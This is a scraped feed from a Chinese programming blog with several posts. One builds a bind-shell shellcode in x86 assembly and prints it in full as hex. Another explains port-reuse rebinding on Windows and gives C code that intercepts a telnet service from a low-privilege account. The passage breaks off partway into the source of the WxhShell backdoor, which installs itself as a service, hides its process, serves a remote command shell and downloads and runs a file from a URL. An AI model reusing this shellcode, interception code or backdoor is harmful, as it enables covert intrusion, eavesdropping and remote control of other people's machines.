<p><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 在汇编代码中，把找出来的函数地址保存下来，以备后用。这里用的是固定的API函数地址，以后介绍了动态获取函数地址后，只需要加上动态查找那部分，而后面部分可以保持不动就继续使用了。这也算是一种工程的思想吧。<br>地址找到后，开始实现每个函数，函数实现完毕，汇编就写出来了。<br><br>&nbsp;&nbsp;&nbsp; 第一个是WSAStartup(MAKEWORD(2,2),&amp;ws)，&nbsp;随便减Esp 0x200，将Esp作为WS的地址，而MAKEWORD(2，2)就是0x202，所以直接Push 0x202就可以了。汇编实现如下：<br>sub esp, 0x200<br>&nbsp;&nbsp;&nbsp;push esp&nbsp;&nbsp;//第二个参数&amp;wsa<br>&nbsp;&nbsp;&nbsp;push 0x202&nbsp;&nbsp;//第一个参数0x202<br>&nbsp;&nbsp;&nbsp;call dword ptr [ebp + 0x8]&nbsp;//[ebp+0x8]中存着WSAStartup的地址，执行<br>&nbsp;&nbsp;&nbsp;add esp, 0x200<br><br>&nbsp;&nbsp;&nbsp; 第二个是执行WSASocket(AF_INET，SOCK_STREAM，IPPROTO_TCP，NULL，0，0)，这有点麻烦，那些参数值是多少呢？一种方法点右键，选择&#8220;goto 定义&#8221;，就可以找到对应的值，但遇到参数比较多的时候就比较慢；另一种方法，借用写好的C程序，按F10进入调试，按Debug工具栏上的Disassemble按钮，就出现了对应的汇编代码。如下图5所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/152/linRl3TxH00mQ.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"></font></p>
<p align=center><font face=宋体 size=2>图5</font></p>
<p><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 看，对应的值不就出来了吗？我们只要仿照着，依次Push 0 0 0 6 1 2，再Call WSASocketA函数的地址就行了。以前说过，WSASocketA函数执行完后，EAX会存放函数的返回值，所以这里的EAX就是建立的Socket，我们把它保存在Ebx中，在后面会使用。<br><br>mov ebx, eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; save Socket to ebx<br><br>&nbsp;&nbsp;&nbsp; 下一句是&#8220;setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&amp;val, sizeof(val) )&#8221;，用同样的方法，就会知道Sizeof(val)＝4，SO_REUSEADDR为4，SOL_SOCKET为0FFFFh。那第四个参数(char *)&amp;val怎么表示呢？<br><br>其实Val＝true，就是0x00000001，那么&amp;val就是0x00000001的地址，我们在堆栈中构造出0x00000001，把它的地址当参数就可以了。<br><br>mov eax, 0x00000001<br>push eax<br>mov esi, esp&nbsp; ;这样把&amp;val存在esi中。<br><br>再执行Setsockopt就是：<br><br>&nbsp;&nbsp;&nbsp;push 4&nbsp;&nbsp;&nbsp;//第五个参数sizeof(val)＝4<br>&nbsp;&nbsp;&nbsp;push esi&nbsp;&nbsp;//第四个参数&amp;val<br>&nbsp;&nbsp;&nbsp;push 4&nbsp;&nbsp;&nbsp;//第三个参数SO_REUSEADDR<br>&nbsp;&nbsp;&nbsp;push 0FFFFh&nbsp;&nbsp;//第二个参数SOL_SOCKET<br>&nbsp;&nbsp;&nbsp;push ebx&nbsp;&nbsp;//第一个参数，WSASocket建立的Socket<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call dword ptr [ebp+0x16]//[ebp+0x16]中存着setsockopt的地址，执行<br><br>OK！瞬间完成了一半的工作量，看着汇编一段一段的写好，真是件惬意的事啊！<br><br>好了，该第四个函数了：&#8220;bind(listenFD,(sockaddr *)&amp;server,sizeof(server));&#8221;，方法同上，第二个参数&amp;server是一个sockaddr_in结构的地址，而且里面还有对端口、地址的设置，就是这三句：<br><br>server.sin_family = AF_INET;<br>server.sin_port = htons(21);<br>server.sin_addr.s_addr = inet_addr("127.0.0.1");<br><br>&nbsp;&nbsp;&nbsp; 怎么转换比较简单呢？还是借助C程序的调试过程！在调试时，从Debug工具栏上调出Memory窗口，输入Server，就可以看到Server这个结构的值，在赋值完毕之后，变成02 00 00 15 7F 00 00 01，如下图6所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/153/liAKXRQGcsnl6.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图6</font></p>
<p><br><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 而且通过这个过程还知道，第一个0002是AF_INET，1500是htons(21)，最后的0100007F是Inet_addr(&#8220;127.0.0.1&#8221;)得到的值。我们就依着葫芦画瓢，模仿着构造出Server的值，并把地址给Esi保存，代码如下：<br><br>&nbsp;&nbsp;&nbsp;push 0x0100007F<br>&nbsp;&nbsp;&nbsp;push 0x15000002&nbsp;<br>&nbsp;&nbsp;&nbsp;mov esi,esp&nbsp;&nbsp;//构造server的值，并把地址赋给esi<br>&nbsp;&nbsp;&nbsp;<br>有了Server参数后，就可以执行Bind函数了：<br><br>&nbsp;&nbsp;&nbsp;push 10h&nbsp;&nbsp;//第三个参数sizeof(server)＝10h<br>&nbsp;&nbsp;&nbsp;push esi&nbsp;&nbsp;//第二个参数server的地址<br>&nbsp;&nbsp;&nbsp;push ebx&nbsp;&nbsp;//第一个参数Socket<br>&nbsp;&nbsp;&nbsp;call dword ptr [ebp+0x20]&nbsp;//[ebp+0x20]中存着bind的地址，执行</font></p>
<p><font face=宋体 size=2>那接下来的Listen(listenFD,2)就太简单了，实现如下：<br><br>push 2;&nbsp;&nbsp;&nbsp;//第二个参数2<br>&nbsp;&nbsp;&nbsp;push ebx;&nbsp;&nbsp;//第一个参数Socket<br>&nbsp;&nbsp;&nbsp;call dword ptr [ebp+0x24];&nbsp;//[ebp+0x24]中存着listen的地址，执行</font></p>
<p><font face=宋体 size=2>随后的Accept(listenFD,(sockaddr *)&amp;server,&amp;iAddrSize)也能轻松搞定，为：<br>&nbsp;&nbsp;&nbsp;push 10h&nbsp;&nbsp;//构造iAddrSize，地址为esp<br>&nbsp;&nbsp;&nbsp;push esp&nbsp;&nbsp;//第三个参数&amp;iAddrSize<br>&nbsp;&nbsp;&nbsp;push esi&nbsp;&nbsp;//第二个参数&amp;server<br>&nbsp;&nbsp;&nbsp;push ebx&nbsp;&nbsp;//第一个参数Socket<br>&nbsp;&nbsp;&nbsp;call dword ptr [ebp+0x28]&nbsp;//[ebp+0x28]中存着accept的地址，执行</font></p>
<p><font face=宋体 size=2>当然，因为后面要用到Accept后产生的Socket，所以把它保存在Ebx中。<br>mov ebx, eax&nbsp;//把新Socket保存在ebx中<br>这样就到了最关键的决定成败的最终BOSS：&#8220;CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&amp;si,&amp;ProcessInformation);&#8221;。哇，大概看一看，好多参数，真吓人！但仔细一看，原来是纸老虎，参数基本上都是0和1，要构造的只有三个，那就简单了。<br><br>0和1就不说了，直接Push就可以了，&amp;ProcessInformation最简单，因为不用赋初值，随便找个不用的地址就可以了，CmdLine也好解决，&#8220;cmd&#8221; 就是63 6d 64 00，构造在Ebp+0x32中，把Ebp+0x32的地址当参数压就可以了。只剩下&amp;si了，对它的赋值有几句话，<br>ZeroMemory(&amp;si,sizeof(si));<br>&nbsp;si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;<br>&nbsp;//设置为输入输出句柄为Socket<br>&nbsp;si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;<br>就是先清零，再设置Flag和句柄。我们在调试过程中，仔细地、慢慢地、温柔地数，最后可以知道Si+2ch的地方为Flag地址，&#8220;Si+38h Si+3ch Si+40h&#8221;的地方为输入输出和错误句柄。那么在汇编中构造Si就是：<br><br>&nbsp;&nbsp;&nbsp;lea edi,[esp];&nbsp;<br>&nbsp;&nbsp;&nbsp;mov word ptr [edi+2ch], 0x0101;&nbsp;&nbsp;//si.dwFlags =0x0101<br>&nbsp;&nbsp;&nbsp;mov [edi+38h],ebx;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//si.hStdInput<br>&nbsp;&nbsp;&nbsp;mov [edi+3ch],ebx;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//si.hStdOutput<br>&nbsp;&nbsp;&nbsp;mov [edi+40h],ebx;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//si.hStdError = Socket</font></p>
<p><font face=宋体 size=2>实现CreateProcess如下：&nbsp;<br>&nbsp;&nbsp;&nbsp;//暂存cmd.exe字符串于ebp+0x32中<br>&nbsp;&nbsp;&nbsp;mov dword ptr [ebp+0x32],0x00646d63;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;lea eax,[esp+0x44]<br>&nbsp;&nbsp;&nbsp;push eax&nbsp;&nbsp;&nbsp;//最后一个参数&amp;ProcessInformation<br>&nbsp;&nbsp;&nbsp;push edi&nbsp;&nbsp;&nbsp;//&amp;si<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;push 1&nbsp;&nbsp;&nbsp;//1<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;lea eax,[ebp+0x32]&nbsp;<br>&nbsp;&nbsp;&nbsp;push eax&nbsp;&nbsp;&nbsp;//"cmd"<br>&nbsp;&nbsp;&nbsp;push 0&nbsp;&nbsp;&nbsp;//0<br>&nbsp;&nbsp;&nbsp;call [ebp+0x4]&nbsp;&nbsp;//[ebp+0x4]中存着CreateProcessA的地址，执行</font></p>
<p><font face=宋体 size=2>ShellCode的获取和验证<br><br>好了，把汇编连起来，得到&#8220;ReBindASM.cpp&#8221;验证一下，呵呵，还是成功。如图7所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/154/li3IJyva6s9RQ.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图7</font></p>
<p><br><font face=宋体 size=2>有一个出错对话框——当然了，我们的Esp ebp都被覆盖了，当然会出错。感兴趣的读者可以自己下去把它们恢复一下。剩下我们最感兴趣的ShellCode的提取了。<br>&nbsp;《打造Windows下自己的ShellCode》中讲过，在得到汇编后，可以进行调试，然后把汇编对应的机器码一个一个的抄下来。这里当然也可以这样，但代码太多了，一个个的抄也太郁闷了吧&#8230;&#8230;我们换个方法。<br><br>&nbsp;进入调试，在调试进入我们的汇编时，在Memory窗口中输入Eip，这样出现的就是我们ShellCode在内存中的值，如下图8所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/155/liZYj8Bs08ZVo.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图8</font></p>
<p><br><font face=宋体 size=2>这下简单了，把ShellCode从开始到结束粘贴下来，删掉多于的字符，把空格替换成&#8217;\x&#8217;，就得到重用端口，突破防火墙的ShellCode如下：<br><br>char ShellCode[] = <br>"\x55\x83\xEC\x40\x8B\xEC\xC7\x45\x04\xB8\x1B\xE4\x77\xC7\x45\x08\xDA\x41\xA2\x71\xC7\x45\x12\x01\x5A\xA2\x71"<br>"\xC7\x45\x16\x8D\x3F\xA2\x71\xC7\x45\x20\xCE\x3E\xA2\x71\xC7\x45\x24\xE2\x5D\xA2\x71\xC7\x45\x28\x8D\x86\xA2"<br>"\x71\x81\xEC\x00\x02\x00\x00\x54\x68\x02\x02\x00\x00\xFF\x55\x08\x81\xC4\x00\x02\x00\x00\x6A\x00\x6A\x00\x6A"<br>"\x00\x6A\x06\x6A\x01\x6A\x02\xFF\x55\x12\x8B\xD8\xB8\x01\x00\x00\x00\x50\x8B\xF4\x6A\x04\x56\x6A\x04\x68\xFF"<br>"\xFF\x00\x00\x53\xFF\x55\x16\x68\x7F\x00\x00\x01\x68\x02\x00\x00\x15\x8B\xF4\x6A\x10\x56\x53\xFF\x55\x20\x6A"<br>"\x02\x53\xFF\x55\x24\x6A\x10\x54\x56\x53\xFF\x55\x28\x8B\xD8\x81\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68"<br>"\x80\x00\x00\x00\x59\xF3\xAA\x8D\x3C\x24\x66\xC7\x47\x2C\x01\x01\x89\x5F\x38\x89\x5F\x3C\x89\x5F\x40\xC7\x45"<br>"\x32\x63\x6D\x64\x00\x8D\x44\x24\x44\x50\x57\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x8D\x45\x32\x50"<br>"\x6A\x00\xFF\x55\x04";<br><br>在Main函数里面，嵌入如下代码就可以将ShellCode当成函数执行：<br><br>lea eax, ShellCode;<br>&nbsp;&nbsp;call eax<br>测试一下，哈哈，还是成功了。如图9所示。</font></p>
<p align=center><font face=宋体 size=2><img style="CURSOR: pointer" onclick=javascript:window.open(this.src); alt="" src="http://img.zol.com.cn/article/3/156/li9N86457xvI.jpg" onload="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;"><br>&nbsp;<br>图9</font></p>
<p><br><font face=宋体 size=2>&nbsp;&nbsp;&nbsp; 这样我们就亲自打造出了一个ShellCode，而且这个ShellCode在外面是绝对找不到的哦，呵呵，知道为什么吗？因为这个ShellCode根本不能用啊！（豆大的汗珠从WTF后脑勺上滴下&#8230;&#8230;）一是因为使用的是XP SP0的函数绝对地址，只能在XP SP0下用，如果是2000，或者XP的另外版本，都会失败；二是绑定的是127.0.0.1，其实需要对方的实际IP地址。要解决这两个问题，一是需要动态的获得函数地址，来把我们这个ShellCode改为通用的；二是加入对方IP和端口的定制，这样打造出的才是完美的ShellCode</font></p>
<br><br>
<img src ="http://www.cppblog.com/niewenlong/aggbug/28551.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-22 03:22 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/22/28551.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> 端口复用技术与实现代码 </title><link>http://www.cppblog.com/niewenlong/archive/2007/07/22/28537.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Sat, 21 Jul 2007 16:14:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/22/28537.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/28537.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/22/28537.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/28537.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/28537.html</trackback:ping><description><![CDATA[在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
<p>　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); </p>
<p>　　saddr.sin_family = AF_INET; </p>
<p>　　saddr.sin_addr.s_addr = htonl(INADDR_ANY); </p>
<p>　　bind(s,(SOCKADDR *)&amp;saddr,sizeof(saddr)); </p>
<p>　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 </p>
<p>　　这意味着什么？意味着可以进行如下的攻击： </p>
<p>　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 </p>
<p>　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到） </p>
<p>　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。 </p>
<p>　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　 </p>
<p>　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。</p>
<p>　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。 </p>
<p>　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。 </p>
<p>　　#include <br>　　#include <br>　　#include <br>　　#include 　　 <br>　　DWORD WINAPI ClientThread(LPVOID lpParam);　　 <br>　　int main() <br>　　{ <br>　　WORD wVersionRequested; <br>　　DWORD ret; <br>　　WSADATA wsaData; <br>　　BOOL val; <br>　　SOCKADDR_IN saddr; <br>　　SOCKADDR_IN scaddr; <br>　　int err; <br>　　SOCKET s; <br>　　SOCKET sc; <br>　　int caddsize; <br>　　HANDLE mt; <br>　　DWORD tid;　　 <br>　　wVersionRequested = MAKEWORD( 2, 2 ); <br>　　err = WSAStartup( wVersionRequested, &amp;wsaData ); <br>　　if ( err != 0 ) { <br>　　printf("error!WSAStartup failed!\n"); <br>　　return -1; <br>　　} <br>　　saddr.sin_family = AF_INET; <br>　　 <br>　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了 </p>
<p>　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <br>　　saddr.sin_port = htons(23); <br>　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <br>　　{ <br>　　printf("error!socket failed!\n"); <br>　　return -1; <br>　　} <br>　　val = TRUE; <br>　　//SO_REUSEADDR选项就是可以实现端口重绑定的 <br>　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&amp;val,sizeof(val))!=0) <br>　　{ <br>　　printf("error!setsockopt failed!\n"); <br>　　return -1; <br>　　} <br>　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码； <br>　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽 <br>　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击 </p>
<p>　　if(bind(s,(SOCKADDR *)&amp;saddr,sizeof(saddr))==SOCKET_ERROR) <br>　　{ <br>　　ret=GetLastError(); <br>　　printf("error!bind failed!\n"); <br>　　return -1; <br>　　} <br>　　listen(s,2); <br>　　while(1) <br>　　{ <br>　　caddsize = sizeof(scaddr); <br>　　//接受连接请求 <br>　　sc = accept(s,(struct sockaddr *)&amp;scaddr,&amp;caddsize); <br>　　if(sc!=INVALID_SOCKET) <br>　　{ <br>　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&amp;tid); <br>　　if(mt==NULL) <br>　　{ <br>　　printf("Thread Creat Failed!\n"); <br>　　break; <br>　　} <br>　　} <br>　　CloseHandle(mt); <br>　　} <br>　　closesocket(s); <br>　　WSACleanup(); <br>　　return 0; <br>　　}　　 <br>　　DWORD WINAPI ClientThread(LPVOID lpParam) <br>　　{ <br>　　SOCKET ss = (SOCKET)lpParam; <br>　　SOCKET sc; <br>　　unsigned char buf[4096]; <br>　　SOCKADDR_IN saddr; <br>　　long num; <br>　　DWORD val; <br>　　DWORD ret; <br>　　//如果是隐藏端口应用的话，可以在此处加一些判断 <br>　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　 <br>　　saddr.sin_family = AF_INET; <br>　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <br>　　saddr.sin_port = htons(23); <br>　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <br>　　{ <br>　　printf("error!socket failed!\n"); <br>　　return -1; <br>　　} <br>　　val = 100; <br>　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&amp;val,sizeof(val))!=0) <br>　　{ <br>　　ret = GetLastError(); <br>　　return -1; <br>　　} <br>　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&amp;val,sizeof(val))!=0) <br>　　{ <br>　　ret = GetLastError(); <br>　　return -1; <br>　　} <br>　　if(connect(sc,(SOCKADDR *)&amp;saddr,sizeof(saddr))!=0) <br>　　{ <br>　　printf("error!socket connect failed!\n"); <br>　　closesocket(sc); <br>　　closesocket(ss); <br>　　return -1; <br>　　} <br>　　while(1) <br>　　{ <br>　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。 <br>　　//如果是嗅探内容的话，可以再此处进行内容分析和记录 <br>　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。 <br>　　num = recv(ss,buf,4096,0); <br>　　if(num&gt;0) <br>　　send(sc,buf,num,0); <br>　　else if(num==0) <br>　　break; <br>　　num = recv(sc,buf,4096,0); <br>　　if(num&gt;0) <br>　　send(ss,buf,num,0); <br>　　else if(num==0) <br>　　break; <br>　　} <br>　　closesocket(ss); <br>　　closesocket(sc); <br>　　return 0 ; <br>　　} </p>
<p><br>==========================================================</p>
<p>下边附上一个代码，，WXhSHELL</p>
<p>==========================================================</p>
<p>#include "stdafx.h"</p>
<p>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;windows.h&gt;<br>#include &lt;winsock2.h&gt;<br>#include &lt;winsvc.h&gt;<br>#include &lt;urlmon.h&gt;</p>
<p>#pragma comment (lib, "Ws2_32.lib")<br>#pragma comment (lib, "urlmon.lib")</p>
<p>#define MAX_USER&nbsp;&nbsp;&nbsp;&nbsp; 100&nbsp; // 最大客户端连接数<br>#define BUF_SOCK&nbsp;&nbsp;&nbsp;&nbsp; 200&nbsp; // sock buffer<br>#define KEY_BUFF&nbsp;&nbsp;&nbsp;&nbsp; 255&nbsp; // 输入 buffer</p>
<p>#define REBOOT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; // 重启<br>#define SHUTDOWN&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; // 关机<br>&nbsp;<br>#define DEF_PORT&nbsp;&nbsp;&nbsp;&nbsp; 5000 // 监听端口</p>
<p>#define REG_LEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 16&nbsp;&nbsp; // 注册表键长度<br>#define SVC_LEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 80&nbsp;&nbsp; // NT服务名长度</p>
<p>// 从dll定义API<br>typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);<br>typedef LONG&nbsp; (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);<br>typedef BOOL&nbsp; (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);<br>typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);</p>
<p>// wxhshell配置信息<br>struct WSCFG {<br>&nbsp;&nbsp;&nbsp; int&nbsp; ws_port;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 监听端口<br>&nbsp;&nbsp;&nbsp; char ws_passstr[REG_LEN]; // 口令<br>&nbsp;&nbsp;&nbsp; int&nbsp; ws_autoins;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 安装标记, 1=yes 0=no<br>&nbsp;&nbsp;&nbsp; char ws_regname[REG_LEN]; // 注册表键名<br>&nbsp;&nbsp;&nbsp; char ws_svcname[REG_LEN]; // 服务名<br>&nbsp;&nbsp;&nbsp; char ws_svcdisp[SVC_LEN]; // 服务显示名<br>&nbsp;&nbsp;&nbsp; char ws_svcdesc[SVC_LEN]; // 服务描述信息<br>&nbsp;&nbsp;&nbsp; char ws_passmsg[SVC_LEN]; // 密码输入提示信息<br>&nbsp;int&nbsp; ws_downexe;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 下载执行标记, 1=yes 0=no<br>&nbsp;char ws_fileurl[SVC_LEN]; // 下载文件的 url, "<a href="http://xxx/file.exe">http://xxx/file.exe</a>"<br>&nbsp;char ws_filenam[SVC_LEN]; // 下载后保存的文件名</p>
<p>};</p>
<p>// default Wxhshell configuration<br>struct WSCFG wscfg={DEF_PORT,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "xuhuanlingzhe",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Wxhshell",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Wxhshell",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "WxhShell Service",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Wrsky Windows CmdShell Service",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Please Input Your Password: ",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"<a href="http://www.wrsky.com/wxhshell.exe">http://www.wrsky.com/wxhshell.exe</a>",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"Wxhshell.exe"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; };</p>
<p>// 消息定义模块<br>char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 <a href="http://www.wrsky.com/n/rMake">http://www.wrsky.com\n\rMake</a> by 虚幻灵者\n\r";<br>char *msg_ws_prompt="\n\r? for help\n\r#&gt;";<br>char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#&gt;http://.../server.exe\n\r";<br>char *msg_ws_ext="\n\rExit.";<br>char *msg_ws_end="\n\rQuit.";<br>char *msg_ws_boot="\n\rReboot...";<br>char *msg_ws_poff="\n\rShutdown...";<br>char *msg_ws_down="\n\rSave to ";</p>
<p>char *msg_ws_err="\n\rErr!";<br>char *msg_ws_ok="\n\rOK!";</p>
<p>char ExeFile[MAX_PATH];<br>int nUser = 0;<br>HANDLE handles[MAX_USER];<br>int OsIsNt;</p>
<p>SERVICE_STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceStatus;<br>SERVICE_STATUS_HANDLE&nbsp;&nbsp; hServiceStatusHandle;</p>
<p>// 函数声明<br>int Install(void);<br>int Uninstall(void);<br>int DownloadFile(char *sURL, SOCKET wsh);<br>int Boot(int flag);<br>void HideProc(void);<br>int GetOsVer(void);<br>int Wxhshell(SOCKET wsl);<br>void TalkWithClient(void *cs);<br>int CmdShell(SOCKET sock);<br>int StartFromService(void);<br>int StartWxhshell(LPSTR lpCmdLine);</p>
<p>VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );<br>VOID WINAPI NTServiceHandler( DWORD fdwControl );</p>
<p>// 数据结构和表定义<br>SERVICE_TABLE_ENTRY DispatchTable[] =<br>{<br>&nbsp;{wscfg.ws_svcname, NTServiceMain},<br>&nbsp;{NULL, NULL}<br>};</p>
<p>// 自我安装<br>int Install(void)<br>{<br>&nbsp;&nbsp;&nbsp; char svExeFile[MAX_PATH];<br>&nbsp;&nbsp;&nbsp; HKEY key;<br>&nbsp;&nbsp;&nbsp; strcpy(svExeFile,ExeFile);</p>
